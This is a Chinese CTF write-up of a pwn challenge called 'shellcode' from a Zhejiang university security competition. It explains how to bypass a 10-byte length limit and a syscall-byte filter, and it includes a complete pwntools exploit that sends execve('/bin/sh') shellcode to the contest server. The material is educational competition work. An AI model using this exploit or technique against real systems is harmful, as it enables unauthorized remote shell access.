第七届浙江省大学生网络与信息安全竞赛 初赛 - shellcode

RocketDev

文件属性

属性
Arch amd64
RELRO Full
Canary on
NX on
PIE on
strip no

解题思路

程序允许输入10字节的shellcode,并且过滤了syscall(0f 05)。由于有限制,shellcode不能直接写read, 字节数会超。由于call会在栈上留下一个返回地址,相当于间接拿到了pieBase。

stack

回看main函数,其中在read(0, buf, 10)时,程序依次设置了rdx, rsi和rdi, 因此我们可以设置好rdx,然后跳回去让程序自己设置rsi和rdi,实现大量字符串写入。 由于memmem比较时只比较前10个字符,而execve的shellcode的syscall在10字节之外, 因此都不需要patch就能拿shell。

shellcode开头还有一个push pop,是因为本地测试时好像偶尔会吞2个字节。

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
EXE = './shellcode'

def payload(lo: int):
global sh
if lo:
sh = process(EXE)
if lo & 2:
gdb.attach(sh, 'b *$rebase(0x1424)')
else:
sh = remote('139.155.126.78', 39581)

# set rdx and return to 0x13e2
sh.sendafter(b'input', asm('sub qword ptr [rsp], 68; push rcx; pop rdx; ret;'))
sleep(0.5)
code = '''
push rdx
pop rdx
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''
shc = asm(code)
sh.send(shc)

sh.clean()
sh.interactive()

flag

  • 标题: 第七届浙江省大学生网络与信息安全竞赛 初赛 - shellcode
  • 作者: RocketDev
  • 创建于 : 2025-02-20 22:40:00
  • 更新于 : 2026-03-27 15:59:00
  • 链接: https://rocketma.dev/2025/02/20/shellcode/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
第七届浙江省大学生网络与信息安全竞赛 初赛 - shellcode